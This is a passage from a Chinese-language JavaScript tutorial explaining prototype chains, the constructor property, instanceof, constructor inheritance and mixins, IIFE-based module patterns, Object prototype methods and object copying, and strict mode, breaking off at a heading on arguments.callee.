因此，就会形成一个“原型链”（prototype chain）：对象到原型，再到原型的原型……

如果一层层地上溯，所有对象的原型最终都可以上溯到`Object.prototype`，即`Object`构造函数的`prototype`属性。

也就是说，所有对象都继承了`Object.prototype`的属性。这就是所有对象都有`valueOf`和`toString`方法的原因，因为这是从`Object.prototype`继承的。

`Object.prototype`对象有没有它的原型呢？回答是`Object.prototype`的原型是`null`。`null`没有任何属性和方法，也没有自己的原型。因此，原型链的尽头就是`null`。

```js
Object.getPrototypeOf(Object.prototype)
// null
```

上面代码表示，`Object.prototype`对象的原型是`null`，由于`null`没有任何属性，所以原型链到此为止。

`Object.getPrototypeOf`方法返回参数对象的原型。

读取对象的某个属性时，JavaScript 引擎先寻找对象本身的属性，如果找不到，就到它的原型去找，如果还是找不到，就到原型的原型去找。

`Object.prototype`还是找不到，则返回`undefined`，如果对象自身和它的原型，都定义了一个同名属性，那么优先读取对象自身的属性，这叫做“覆盖”（overriding）。

**注意**：一级级向上，在整个原型链上寻找某个属性，对性能是有影响的。所寻找的属性在越上层的原型对象，对性能的影响越大。如果寻找某个不存在的属性，将会遍历整个原型链。

举例来说，如果让构造函数的`prototype`属性指向一个数组，就意味着实例对象可以调用数组方法。

```js
var MyArray = function () {};

MyArray.prototype = new Array();

var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true
```

上面代码中，`mine`是构造函数`MyArray`的实例对象，由于`MyArray.prototype`指向一个数组实例，使得`mine`可以调用数组方法（这些方法定义在数组实例的`prototype`对象上面）。

`instanceof`表达式用来比较一个对象是否为某个构造函数的实例（结果就是证明`mine`为`Array`的实例）。

#### constructor 属性

`prototype`对象有一个`constructor`属性，**默认指向`prototype`对象所在的构造函数。**

```js
function P() {}
P.prototype.constructor === P // true
```

由于`constructor`属性定义在`prototype`对象上面，意味着可以被所有实例对象继承。

```js
function P() {}
var p = new P();

p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false
```

`Object.prototype.hasOwnProperty()`方法接受一个字符串作为参数，返回一个布尔值，表示该实例对象**自身**是否具有该属性，不包括继承的

上面代码中，`p`是构造函数`P`的实例对象，但是`p`自身没有`constructor`属性，该属性其实是读取原型链上面的`P.prototype.constructor`属性。

`constructor`属性的作用是，可以得知某个实例对象，到底是哪一个构造函数产生的。

```js
function F() {};
var f = new F();

f.constructor === F // true
f.constructor === RegExp // false
```

另一方面，有了`constructor`属性，就可以从一个实例对象新建另一个实例。

```js
function Constr() {}
var x = new Constr();

var y = new x.constructor();
y instanceof Constr // true
```

上面代码中，`x`是构造函数`Constr`的实例，可以从`x.constructor`间接调用构造函数。

这使得在实例方法中，调用自身的构造函数成为可能。

```js
Constr.prototype.createCopy = function () {
  return new this.constructor();
};
```

上面代码中，`createCopy`方法调用构造函数，新建另一个实例。

`constructor`属性表示原型对象与构造函数之间的关联关系，如果修改了原型对象，一般会同时修改`constructor`属性，防止引用的时候出错。

```js
function Person(name) {
  this.name = name;
}

Person.prototype.constructor === Person // true

Person.prototype = {
  method: function () {}
};

Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true
```

上面代码中，构造函数`Person`的原型对象改掉了，但是没有修改`constructor`属性，导致这个属性不再指向`Person`。由于`Person`的新原型是一个普通对象，而普通对象的`constructor`属性指向`Object`构造函数，导致`Person.prototype.constructor`变成了`Object`。

> \[!IMPORTANT] 记住
>
> 普通对象的`constructor`属性指向`Object`构造函数，原型对象则指向`prototype`对象所在的构造函数

> \[!tip]
>
> 所以，修改原型对象时，一般要同时修改`constructor`属性的指向。

```js
// 坏的写法
C.prototype = {
  method1: function (...) { ... },
  // ...
};

// 好的写法
C.prototype = {
  constructor: C,
  method1: function (...) { ... },
  // ...
};

// 更好的写法
C.prototype.method1 = function (...) { ... };
```

上面代码中，要么将`constructor`属性重新指向原来的构造函数，要么只在原型对象上添加方法，这样可以保证`instanceof`运算符不会失真。

如果不能确定`constructor`属性是什么函数，还有一个办法：通过`name`属性，从实例得到构造函数的名称。

```js
function Foo() {}
var f = new Foo();
f.constructor.name // "Foo"
```

#### instanceof 运算符

`instanceof`运算符返回一个布尔值，表示对象是否为某个构造函数的实例。

```js
var v = new Vehicle();
v instanceof Vehicle // true
```

`instanceof`运算符的左边是**实例对象**，右边是**构造函数**。

它会检查右边构造函数的原型对象（prototype），是否在左边对象的原型链上。

因此，下面两种写法是等价的。

```js
v instanceof Vehicle
// 等同于
Vehicle.prototype.isPrototypeOf(v)
```

上面代码中，`Vehicle`是对象`v`的构造函数，它的原型对象是`Vehicle.prototype`

`isPrototypeOf()`方法是 JavaScript 提供的原生方法，用于检查某个对象是否为另一个对象的原型。

由于`instanceof`检查**整个原型链**，因此同一个实例对象，可能会对多个构造函数都返回`true`。

```js
var d = new Date();
d instanceof Date // true
d instanceof Object // true
```

上面代码中，`d`同时是`Date`和`Object`的实例，因此对这两个构造函数都返回`true`。

由于任意对象（除了`null`）都是`Object`的实例，所以`instanceof`运算符可以判断一个值是否为非`null`的对象。

```js
var obj = { foo: 123 };
obj instanceof Object // true

null instanceof Object // false
```

除了`null`，其他对象的`instanceOf Object`的运算结果都是`true`。

> \[!TIP]
>
> **`instanceof`的原理是检查右边构造函数的`prototype`属性，是否在左边对象的原型链上。**
>
> **有一种特殊情况，就是左边对象的原型链上，只有`null`对象。这时，`instanceof`判断会失真。**

```js
var obj = Object.create(null);
typeof obj // "object"
obj instanceof Object // false
```

上面代码中，`Object.create(null)`返回一个新对象`obj`，它的原型是`null`。

右边的构造函数`Object`的`prototype`属性，不在左边的原型链上，因此`instanceof`就认为`obj`不是`Object`的实例。这是唯一的`instanceof`运算符判断会失真的情况（**一个对象的原型是`null`**）。

`instanceof`运算符的一个用处，是判断值的类型。

**注意**，`instanceof`运算符只能用于对象，不适用原始类型的值。

```js
var x = [1, 2, 3];
var y = {};
x instanceof Array // true
y instanceof Object // true
var s = 'hello';
s instanceof String // false
```

上面代码中，字符串不是`String`对象的实例（因为字符串不是对象），所以返回`false`。

此外，对于`undefined`和`null`，`instanceof`运算符总是返回`false`。

利用`instanceof`运算符，还可以巧妙地解决，调用构造函数时，忘了加`new`命令的问题。

```js
function Fubar (foo, bar) {
  if (this instanceof Fubar) {
    this._foo = foo;
    this._bar = bar;
  } else {
    return new Fubar(foo, bar);
  }
}
```

上面代码使用`instanceof`运算符，在函数体内部判断`this`关键字是否为构造函数`Fubar`的实例。如果不是，就表明忘了加`new`命令。

#### 构造函数的继承

让一个构造函数继承另一个构造函数，是非常常见的需求。

这可以分成两步实现。第一步是**在子类的构造函数中，调用父类的构造函数**。

```js
function Sub(value) {
  Super.call(this);
  this.prop = value;
}
```

上面代码中，`Sub`是子类的构造函数，`this`是子类的实例。在实例上调用父类的构造函数`Super`，就会让子类实例具有父类实例的属性。

第二步，是让子类的原型指向父类的原型，这样子类就可以继承父类原型。

```js
Sub.prototype = Object.create(Super.prototype);
Sub.prototype.constructor = Sub;
Sub.prototype.method = '...';
```

上面代码中，`Sub.prototype`是子类的原型，要将它赋值为`Object.create(Super.prototype)`，而不是直接等于`Super.prototype`，否则后面两行对`Sub.prototype`的操作，会连父类的原型`Super.prototype`一起修改掉。

另外一种写法是`Sub.prototype`等于一个父类实例。

```js
Sub.prototype = new Super();
```

上面这种写法也有继承的效果，但是**子类会具有父类实例的方法**。有时，这可能不是我们需要的，所以不推荐使用这种写法。

**例子**：

```js
// 父类
function Shape() {
  this.x = 0;
  this.y = 0;
}

Shape.prototype.move = function (x, y) {
  this.x += x;
  this.y += y;
  console.info('Shape moved.');
};
```

让`Rectangle`构造函数继承`Shape`

```js
// 第一步，子类继承父类的实例
function Rectangle() {
  Shape.call(this); // 调用父类构造函数
}
// 另一种写法
function Rectangle() {
  this.base = Shape;
  this.base();
}

// 第二步，子类继承父类的原型
Rectangle.prototype = Object.create(Shape.prototype);
Rectangle.prototype.constructor = Rectangle;
```

采用这样的写法以后，`instanceof`运算符会对子类和父类的构造函数，都返回`true`。

```js
var rect = new Rectangle();

rect instanceof Rectangle  // true
rect instanceof Shape  // true
```

上面代码中，子类是整体继承父类。有时只需要单个方法的继承，这时可以采用下面的写法。

```js
ClassB.prototype.print = function() {
  ClassA.prototype.print.call(this);
  // some code
}
```

上面代码中，子类`B`的`print`方法先调用父类`A`的`print`方法，再部署自己的代码。这就等于继承了父类`A`的`print`方法。

#### 多重继承

JavaScript 不提供多重继承功能，即不允许一个对象同时继承多个对象。但是，可以通过变通方法，实现这个功能。

```js
function M1() {
  this.hello = 'hello';
}

function M2() {
  this.world = 'world';
}

function S() {
  M1.call(this);
  M2.call(this);
}

// 继承 M1
S.prototype = Object.create(M1.prototype);
// 继承链上加入 M2
Object.assign(S.prototype, M2.prototype);

// 指定构造函数
S.prototype.constructor = S;

var s = new S();
s.hello // 'hello'
s.world // 'world'
```

上面代码中，子类`S`同时继承了父类`M1`和`M2`。这种模式又称为 Mixin（混入）。

#### 模块

随着网站逐渐变成“互联网应用程序”，嵌入网页的 JavaScript 代码越来越庞大，越来越复杂。网页越来越像桌面程序，需要一个团队分工协作、进度管理、单元测试等等……开发者必须使用软件工程的方法，管理网页的业务逻辑。

JavaScript 模块化编程，已经成为一个迫切的需求。理想情况下，开发者只需要实现核心的业务逻辑，其他都可以加载别人已经写好的模块。

但是，JavaScript 不是一种模块化编程语言，ES6 才开始支持“类”和“模块”。下面介绍传统的做法，如何利用对象实现模块的效果。

##### 基本实现

模块是实现特定功能的**一组属性和方法的封装**。

简单的做法是把模块写成一个对象，所有的模块成员都放到这个对象里面。

```js
var module1 = new Object({
　_count : 0,
　m1 : function (){
　　//...
　},
　m2 : function (){
  　//...
　}
});
```

上面的函数`m1`和`m2`，都封装在`module1`对象里。使用的时候，就是调用这个对象的属性。

```js
module1.m1();
```

但是，这样的写法会暴露所有模块成员，内部状态可以被外部改写。比如，外部代码可以直接改变内部计数器的值。

```js
module1._count = 5;
```

##### 私有变量

###### 封装私有变量：构造函数的写法

我们可以利用构造函数，封装私有变量。

```js
function StringBuilder() {
  var buffer = [];

  this.add = function (str) {
     buffer.push(str);
  };

  this.toString = function () {
    return buffer.join('');
  };

}
```

上面代码中，`buffer`是模块的私有变量。

一旦生成实例对象，外部是无法直接访问`buffer`的。

但是，这种方法将私有变量封装在构造函数中，导致构造函数与实例对象是一体的，总是存在于内存之中，无法在使用完成后清除。

这意味着，构造函数有双重作用，**既用来塑造实例对象，又用来保存实例对象的数据**，违背了构造函数与实例对象在数据上相分离的原则（**即实例对象的数据，不应该保存在实例对象以外**）。同时，非常耗费内存。

```js
function StringBuilder() {
  this._buffer = [];
}

StringBuilder.prototype = {
  constructor: StringBuilder,
  add: function (str) {
    this._buffer.push(str);
  },
  toString: function () {
    return this._buffer.join('');
  }
};
```

这种方法将私有变量放入实例对象中，好处是看上去更自然，但是它的私有变量可以从外部读写，不是很安全。

###### 封装私有变量：立即执行函数的写法

另一种做法是使用“立即执行函数”（Immediately-Invoked Function Expression，IIFE），将相关的属性和方法封装在一个函数作用域里面，可以达到不暴露私有成员的目的。

```js
var module1 = (function () {
　var _count = 0;
　var m1 = function () {
　  //...
　};
　var m2 = function () {
　　//...
　};
　return {
　　m1 : m1,
　　m2 : m2
　};
})();
```

使用上面的写法，外部代码无法读取内部的`_count`变量。

```js
console.info(module1._count); //undefined
```

上面的`module1`就是 JavaScript 模块的基本写法。下面，再对这种写法进行加工。

##### 模块的放大模式

如果一个模块很大，必须分成几个部分，或者一个模块需要继承另一个模块，这时就有必要采用“**放大模式**”（augmentation）。

```js
var module1 = (function (mod){
　mod.m3 = function () {
　　//...
　};
　return mod;
})(module1);
```

上面的代码为`module1`模块添加了一个新方法`m3()`，然后返回新的`module1`模块。

在浏览器环境中，模块的各个部分通常都是从网上获取的，有时无法知道哪个部分会先加载。如果采用上面的写法，第一个执行的部分有可能加载一个不存在空对象，这时就要采用"宽放大模式"（Loose augmentation）。

```js
var module1 = (function (mod) {
　//...
　return mod;
})(window.module1 || {});
```

与"放大模式"相比，“宽放大模式”就是“立即执行函数”的参数可以是空对象。

##### 输入全局变量

独立性是模块的重要特点，模块内部最好不与程序的其他部分直接交互。

为了在模块内部调用全局变量，必须显式地将其他变量输入模块。

```js
var module1 = (function ($, YAHOO) {
　//...
})(jQuery, YAHOO);
```

上面的`module1`模块需要使用 jQuery 库和 YUI 库，就把这两个库（其实是两个模块）当作参数输入`module1`。这样做除了保证模块的独立性，还使得模块之间的依赖关系变得明显。

立即执行函数还可以起到命名空间的作用。

```js
(function($, window, document) {

  function go(num) {
  }

  function handleEvents() {
  }

  function initialize() {
  }

  function dieCarouselDie() {
  }

  // 附加到全局范围
  window.finalCarousel = {
    init : initialize,
    destroy : dieCarouselDie
  }

})( jQuery, window, document );
```

上面代码中，`finalCarousel`对象输出到全局，对外暴露`init`和`destroy`接口，内部方法`go`、`handleEvents`、`initialize`、`dieCarouselDie`都是外部无法调用的。

### 对象的相关方法

JavaScript 在`Object`对象上面，提供了很多相关方法，处理面向对象编程的相关操作。

#### Object.getPrototypeOf()

`Object.getPrototypeOf`方法返回参数对象的原型。这是获取原型对象的标准方法。

```js
var F = function () {};
var f = new F();
Object.getPrototypeOf(f) === F.prototype // true
```

几种特殊对象的原型

```js
// 空对象的原型是 Object.prototype
Object.getPrototypeOf({}) === Object.prototype // true

// Object.prototype 的原型是 null
Object.getPrototypeOf(Object.prototype) === null // true

// 函数的原型是 Function.prototype
function f() {}
Object.getPrototypeOf(f) === Function.prototype // true
```

#### Object.setPrototypeOf()

`Object.setPrototypeOf`方法为参数对象设置原型，返回该参数对象。它接受两个参数，第一个是现有对象，第二个是原型对象。

```js
var a = {};
var b = {x: 1};
Object.setPrototypeOf(a, b);

Object.getPrototypeOf(a) === b // true
a.x // 1
```

上面代码中，`Object.setPrototypeOf`方法将对象`a`的原型，设置为对象`b`，因此`a`可以共享`b`的属性。

`new`命令可以使用`Object.setPrototypeOf`方法模拟。

```js
var F = function () {
  this.foo = 'bar';
};

var f = new F();
// 等同于
var f = Object.setPrototypeOf({}, F.prototype);
F.call(f);
```

上面代码中，`new`命令新建实例对象，其实可以分成两步。第一步，将一个空对象的原型设为构造函数的`prototype`属性（上例是`F.prototype`）；

第二步，将构造函数内部的`this`绑定这个空对象，然后执行构造函数，使得定义在`this`上面的方法和属性（上例是`this.foo`），都转移到这个空对象上。

#### Object.create()

生成实例对象的常用方法是，使用`new`命令让构造函数返回一个实例。

但是很多时候，只能拿到一个实例对象，它可能根本不是由构建函数生成的，那么能不能从一个实例对象，生成另一个实例对象呢？

JavaScript 提供了`Object.create()`方法，用来满足这种需求。

该方法接受一个对象作为参数，然后以它为原型，返回一个实例对象。该实例完全继承原型对象的属性。

```js
// 原型对象
var A = {
  print: function () {
    console.log('hello');
  }
};

// 实例对象
var B = Object.create(A);

Object.getPrototypeOf(B) === A // true
B.print() // hello
B.print === A.print // true
```

上面代码中，`Object.create()`方法以`A`对象为原型，生成了`B`对象。`B`继承了`A`的所有属性和方法。

实际上，`Object.create()`方法可以用下面的代码代替。

```js
if (typeof Object.create !== 'function') {
  Object.create = function (obj) {
    function F() {}
    F.prototype = obj;
    return new F();
  };
}
```

上面代码表明，`Object.create()`方法的实质是新建一个空的构造函数`F`，然后让`F.prototype`属性指向参数对象`obj`，最后返回一个`F`的实例，从而实现让该实例继承`obj`的属性。

下面三种方式生成的新对象是等价的。

```js
var obj1 = Object.create({});
var obj2 = Object.create(Object.prototype);
var obj3 = new Object();
```

如果想要生成一个不继承任何属性（比如没有`toString()`和`valueOf()`方法）的对象，可以将`Object.create()`的参数设为`null`。

```js
var obj = Object.create(null);

obj.valueOf()
// TypeError: Object [object Object] has no method 'valueOf'
```

上面代码中，对象`obj`的原型是`null`，它就不具备一些定义在`Object.prototype`对象上面的属性，比如`valueOf()`方法。

使用`Object.create()`方法的时候，必须提供对象原型，即参数不能为空，或者不是对象，否则会报错。

```js
Object.create()
// TypeError: Object prototype may only be an Object or null
Object.create(123)
// TypeError: Object prototype may only be an Object or null
```

`Object.create()`方法生成的新对象，动态继承了原型。在原型上添加或修改任何方法，会立刻反映在新对象之上。

```js
var obj1 = { p: 1 };
var obj2 = Object.create(obj1);

obj1.p = 2;
obj2.p // 2
```

上面代码中，修改对象原型`obj1`会影响到实例对象`obj2`。

除了对象的原型，`Object.create()`方法还可以接受第二个参数。该参数是一个属性描述对象，它所描述的对象属性，会添加到实例对象，作为该对象自身的属性。

```js
var obj = Object.create({}, {
  p1: {
    value: 123,
    enumerable: true,
    configurable: true,
    writable: true,
  },
  p2: {
    value: 'abc',
    enumerable: true,
    configurable: true,
    writable: true,
  }
});

// 等同于
var obj = Object.create({});
obj.p1 = 123;
obj.p2 = 'abc';
```

`Object.create()`方法生成的对象，继承了它的原型对象的构造函数。

```js
function A() {}
var a = new A();
var b = Object.create(a);

b.constructor === A // true
b instanceof A // true
```

上面代码中，`b`对象的原型是`a`对象，因此继承了`a`对象的构造函数`A`。

#### Object.prototype.isPrototypeOf()

实例对象的`isPrototypeOf`方法，用来判断该对象是否为参数对象的原型。

```js
var o1 = {};
var o2 = Object.create(o1);
var o3 = Object.create(o2);

o2.isPrototypeOf(o3) // true
o1.isPrototypeOf(o3) // true
```

上面代码中，`o1`和`o2`都是`o3`的原型。这表明只要实例对象处在参数对象的原型链上，`isPrototypeOf`方法都返回`true`。

```js
Object.prototype.isPrototypeOf({}) // true
Object.prototype.isPrototypeOf([]) // true
Object.prototype.isPrototypeOf(/xyz/) // true
Object.prototype.isPrototypeOf(Object.create(null)) // false
```

上面代码中，由于`Object.prototype`处于原型链的最顶端，所以对各种实例都返回`true`，只有直接继承自`null`的对象除外。

#### Object.prototype.**proto**

实例对象的`__proto__`属性（前后各两个下划线），返回该对象的原型。该属性可读写。

```js
var obj = {};
var p = {};

obj.__proto__ = p;
Object.getPrototypeOf(obj) === p // true
```

上面代码通过`__proto__`属性，将`p`对象设为`obj`对象的原型。

根据语言标准，`__proto__`属性只有浏览器才需要部署，其他环境可以没有这个属性。

它前后的两根下划线，表明它本质是一个内部属性，不应该对使用者暴露。因此，应该尽量少用这个属性，而是用`Object.getPrototypeOf()`和`Object.setPrototypeOf()`，进行原型对象的读写操作。

原型链可以用`__proto__`很直观地表示。

```js
var A = {
  name: '张三'
};
var B = {
  name: '李四'
};

var proto = {
  print: function () {
    console.log(this.name);
  }
};

A.__proto__ = proto;
B.__proto__ = proto;

A.print() // 张三
B.print() // 李四

A.print === B.print // true
A.print === proto.print // true
B.print === proto.print // true
```

上面代码中，`A`对象和`B`对象的原型都是`proto`对象，它们都共享`proto`对象的`print`方法。也就是说，`A`和`B`的`print`方法，都是在调用`proto`对象的`print`方法。

#### 获取原型对象方法的比较

如前所述，`__proto__`属性指向当前对象的原型对象，即构造函数的`prototype`属性。

```js
var obj = new Object();

obj.__proto__ === Object.prototype
// true
obj.__proto__ === obj.constructor.prototype
```

上面代码首先新建了一个对象`obj`，它的`__proto__`属性，指向构造函数（`Object`或`obj.constructor`）的`prototype`属性。

因此，获取实例对象`obj`的原型对象，有三种方法。

* `obj.__proto__`
* `obj.constructor.prototype`
* `Object.getPrototypeOf(obj)`

上面三种方法之中，前两种都不是很可靠。`__proto__`属性只有浏览器才需要部署，其他环境可以不部署。而`obj.constructor.prototype`在手动改变原型对象时，可能会失效。

```js
var P = function () {};
var p = new P();

var C = function () {};
C.prototype = p;
var c = new C();

c.constructor.prototype === p // false
```

上面代码中，构造函数`C`的原型对象被改成了`p`，但是实例对象的`c.constructor.prototype`却没有指向`p`。所以，在改变原型对象时，一般要同时设置`constructor`属性。

```js
C.prototype = p;
C.prototype.constructor = C;

var c = new C();
c.constructor.prototype === p // true
```

因此，推荐使用第三种`Object.getPrototypeOf`方法，获取原型对象。

#### Object.getOwnPropertyNames()

`Object.getOwnPropertyNames`方法返回一个数组，成员是参数对象本身的所有属性的键名，不包含继承的属性键名。

```js
Object.getOwnPropertyNames(Date)
// ["parse", "arguments", "UTC", "caller", "name", "prototype", "now", "length"]
```

上面代码中，`Object.getOwnPropertyNames`方法返回`Date`所有自身的属性名。

对象本身的属性之中，有的是可以遍历的（enumerable），有的是不可以遍历的。`Object.getOwnPropertyNames`方法返回所有键名，不管是否可以遍历。

只获取那些可以遍历的属性，使用`Object.keys`方法。

```js
Object.keys(Date) // []
```

上面代码表明，`Date`对象所有自身的属性，都是不可以遍历的。

#### Object.prototype.hasOwnProperty()

对象实例的`hasOwnProperty`方法返回一个布尔值，用于判断某个属性定义在对象自身，还是定义在原型链上。

```js
Date.hasOwnProperty('length') // true
Date.hasOwnProperty('toString') // false
```

上面代码表明，`Date.length`（构造函数`Date`可以接受多少个参数）是`Date`自身的属性，`Date.toString`是继承的属性。

另外，`hasOwnProperty`方法是 JavaScript 之中唯一一个处理对象属性时，不会遍历原型链的方法。

#### in 运算符和 for...in 循环

`in`运算符返回一个布尔值，表示一个对象是否具有某个属性。它不区分该属性是对象自身的属性，还是继承的属性。

```js
'length' in Date // true
'toString' in Date // true
```

`in`运算符常用于检查一个属性是否存在。

获得对象的所有**可遍历属性**（不管是自身的还是继承的），可以使用`for...in`循环。

```js
var o1 = { p1: 123 };

var o2 = Object.create(o1, {
  p2: { value: "abc", enumerable: true }
});

for (p in o2) {
  console.info(p);
}
// p2
// p1
```

上面代码中，对象`o2`的`p2`属性是自身的，`p1`属性是继承的。这两个属性都会被`for...in`循环遍历。

为了在`for...in`循环中获得对象自身的属性，可以采用`hasOwnProperty`方法判断一下。

```js
for ( var name in object ) {
  if ( object.hasOwnProperty(name) ) {
    /* loop code */
  }
}
```

获得对象的**所有属性**（不管是自身的还是继承的，也不管是否可枚举），可以使用下面的函数。

```js
function inheritedPropertyNames(obj) {
  var props = {};
  while(obj) {
    Object.getOwnPropertyNames(obj).forEach(function(p) {
      props[p] = true;
    });
    obj = Object.getPrototypeOf(obj);
  }
  return Object.getOwnPropertyNames(props);
}
```

上面代码依次获取`obj`对象的每一级原型对象“自身”的属性，从而获取`obj`对象的“所有”属性，不管是否可遍历。

下面是一个例子，列出`Date`对象的所有属性。

```js
inheritedPropertyNames(Date)
// [
//  "caller",
//  "constructor",
//  "toString",
//  "UTC",
//  ...
// ]
```

#### 对象的拷贝

如果要拷贝一个对象，需要做到下面两件事情。

* 确保拷贝后的对象，与原对象具有同样的原型。
* 确保拷贝后的对象，与原对象具有同样的实例属性。

下面就是根据上面两点，实现的对象拷贝函数。

```js
function copyObject(orig) {
  var copy = Object.create(Object.getPrototypeOf(orig));
  copyOwnPropertiesFrom(copy, orig);
  return copy;
}

function copyOwnPropertiesFrom(target, source) {
  Object
    .getOwnPropertyNames(source)
    .forEach(function (propKey) {
      var desc = Object.getOwnPropertyDescriptor(source, propKey);
      Object.defineProperty(target, propKey, desc);
    });
  return target;
}
```

另一种更简单的写法，是利用 **ES2017** 才引入标准的`Object.getOwnPropertyDescriptors`方法。

```js
function copyObject(orig) {
  return Object.create(
    Object.getPrototypeOf(orig),
    Object.getOwnPropertyDescriptors(orig)
  );
}
```

### 严格模式

除了正常的运行模式，JavaScript 还有第二种运行模式：严格模式（strict mode）。顾名思义，这种模式采用更加严格的 JavaScript 语法。

同样的代码，在正常模式和严格模式中，可能会有不一样的运行结果。一些在正常模式下可以运行的语句，在严格模式下将不能运行。

#### 设计目的

早期的 JavaScript 语言有很多设计不合理的地方，但是为了兼容以前的代码，又不能改变老的语法，只能不断添加新的语法，引导程序员使用新语法。

严格模式是从 ES5 进入标准的，主要目的有以下几个。

* 明确禁止一些不合理、不严谨的语法，减少 JavaScript 语言的一些怪异行为。
* 增加更多报错的场合，消除代码运行的一些不安全之处，保证代码运行的安全。
* 提高编译器效率，提升运行速度。
* 为未来新版本的 JavaScript 语法做好铺垫。

总之，严格模式体现了 JavaScript 更合理、更安全、更严谨的发展方向。

#### 启用方法

进入严格模式的标志，是一行字符串`use strict`。

```js
'use strict';
```

老版本的引擎会把它当作一行普通字符串，加以忽略。新版本的引擎就会进入严格模式。

严格模式可以用于整个脚本，也可以只用于单个函数。

##### 整个脚本文件

`use strict`放在脚本文件的第一行，整个脚本都将以严格模式运行。如果这行语句不在第一行就无效，整个脚本会以正常模式运行。(严格地说，只要前面不是产生实际运行结果的语句，`use strict`可以不在第一行，比如直接跟在一个空的分号后面，或者跟在注释后面。)

```js
<script>
  'use strict';
  console.log('这是严格模式');
</script>

<script>
  console.log('这是正常模式');
</script>
```

上面代码中，一个网页文件依次有两段 JavaScript 代码。前一个`<script>`标签是严格模式，后一个不是。

如果`use strict`写成下面这样，则不起作用，严格模式必须从代码一开始就生效。

```js
<script>
  console.log('这是正常模式');
  'use strict';
</script>
```

##### 单个函数

`use strict`放在函数体的第一行，则整个函数以严格模式运行。

```js
function strict() {
  'use strict';
  return '这是严格模式';
}

function strict2() {
  'use strict';
  function f() {
    return '这也是严格模式';
  }
  return f();
}

function notStrict() {
  return '这是正常模式';
}
```

有时，需要把不同的脚本合并在一个文件里面。如果一个脚本是严格模式，另一个脚本不是，它们的合并就可能出错。

严格模式的脚本在前，则合并后的脚本都是严格模式；如果正常模式的脚本在前，则合并后的脚本都是正常模式。

这两种情况下，合并后的结果都是不正确的。这时可以考虑把整个脚本文件放在一个立即执行的匿名函数之中。

```js
(function () {
  'use strict';
  // some code here
})();
```

#### 显式报错

严格模式使得 JavaScript 的语法变得更严格，更多的操作会显式报错。其中有些操作，在正常模式下只会默默地失败，不会报错。

##### 只读属性不可写

严格模式下，设置字符串的`length`属性，会报错。

```js
'use strict';
'abc'.length = 5;
// TypeError: Cannot assign to read only property 'length' of string 'abc'
```

上面代码报错，因为`length`是只读属性，严格模式下不可写。正常模式下，改变`length`属性是无效的，但不会报错。

严格模式下，对只读属性赋值，或者删除不可配置（non-configurable）属性都会报错。

```js
// 对只读属性赋值会报错
'use strict';
var obj = Object.defineProperty({}, 'a', {
  value: 37,
  writable: false
});
obj.a = 123;
// TypeError: Cannot assign to read only property 'a' of object #<Object>

// 删除不可配置的属性会报错
'use strict';
var obj = Object.defineProperty({}, 'p', {
  value: 1,
  configurable: false
});
delete obj.p
// TypeError: Cannot delete property 'p' of #<Object>
```

##### 只设置了取值器的属性不可写

严格模式下，对一个只有取值器（getter）、没有存值器（setter）的属性赋值，会报错。

```js
'use strict';
var obj = {
  get v() { return 1; }
};
obj.v = 2;
// Uncaught TypeError: Cannot set property v of #<Object> which has only a getter
```

上面代码中，`obj.v`只有取值器，没有存值器，对它进行赋值就会报错。

##### 禁止扩展的对象不可扩展

严格模式下，对禁止扩展的对象添加新属性，会报错。

```js
'use strict';
var obj = {};
Object.preventExtensions(obj);
obj.v = 1;
// Uncaught TypeError: Cannot add property v, object is not extensible
```

上面代码中，`obj`对象禁止扩展，添加属性就会报错。

##### eval、arguments 不可用作标识名

严格模式下，使用`eval`或者`arguments`作为标识名，将会报错。下面的语句都会报错。

```js
'use strict';
var eval = 17;
var arguments = 17;
var obj = { set p(arguments) { } };
try { } catch (arguments) { }
function x(eval) { }
function arguments() { }
var y = function eval() { };
var f = new Function('arguments', "'use strict'; return 17;");
// SyntaxError: Unexpected eval or arguments in strict mode
```

##### 函数不能有重名的参数

正常模式下，如果函数有多个重名的参数，可以用`arguments[i]`读取。严格模式下，这属于语法错误。

```js
function f(a, a, b) {
  'use strict';
  return a + b;
}
// Uncaught SyntaxError: Duplicate parameter name not allowed in this cont
```

##### 禁止八进制的前缀0表示法

正常模式下，整数的第一位如果是`0`，表示这是八进制数，比如`0100`等于十进制的64。严格模式禁止这种表示法，整数第一位为`0`，将报错。

```js
'use strict';
var n = 0100;
// Uncaught SyntaxError: Octal literals are not allowed in strict mode.
```

#### 增强的安全措施

严格模式增强了安全保护，从语法上防止了一些不小心会出现的错误。

##### 全局变量显式声明

正常模式中，如果一个变量没有声明就赋值，默认是全局变量。严格模式禁止这种用法，全局变量必须显式声明。

```js
'use strict';

v = 1; // 报错，v未声明

for (i = 0; i < 2; i++) { // 报错，i 未声明
  // ...
}

function f() {
  x = 123;
}
f() // 报错，未声明就创建一个全局变量
```

因此，严格模式下，变量都必须先声明，然后再使用。

##### 禁止 this 关键字指向全局对象

正常模式下，函数内部的`this`可能会指向全局对象，严格模式禁止这种用法，避免无意间创造全局变量。

```js
// 正常模式
function f() {
  console.log(this === window);
}
f() // true

// 严格模式
function f() {
  'use strict';
  console.log(this === undefined);
}
f() // true
```

上面代码中，严格模式的函数体内部`this`是`undefined`。

这种限制对于构造函数尤其有用。使用构造函数时，有时忘了加`new`，这时`this`不再指向全局对象，而是报错。

```js
function f() {
  'use strict';
  this.a = 1;
};

f();// 报错，this 未定义
```

严格模式下，函数直接调用时（不使用`new`调用），函数内部的`this`表示`undefined`（未定义），因此可以用`call`、`apply`和`bind`方法，将任意值绑定在`this`上面。

正常模式下，`this`指向全局对象，如果绑定的值是非对象，将被自动转为对象再绑定上去，而`null`和`undefined`这两个无法转成对象的值，将被忽略。

```js
// 正常模式
function fun() {
  return this;
}

fun() // window
fun.call(2) // Number {2}
fun.call(true) // Boolean {true}
fun.call(null) // window
fun.call(undefined) // window

// 严格模式
'use strict';
function fun() {
  return this;
}

fun() //undefined
fun.call(2) // 2
fun.call(true) // true
fun.call(null) // null
fun.call(undefined) // undefined
```

上面代码中，可以把任意类型的值，绑定在`this`上面。

##### 禁止使用 fn.callee、fn.caller

函数内部不得使用`fn.caller`、`fn.arguments`，否则会报错。这意味着不能在函数内部得到调用栈了。

```js
function f1() {
  'use strict';
  f1.caller;    // 报错
  f1.arguments; // 报错
}

f1();
```

##### 禁止使用 arguments.callee、arguments.caller

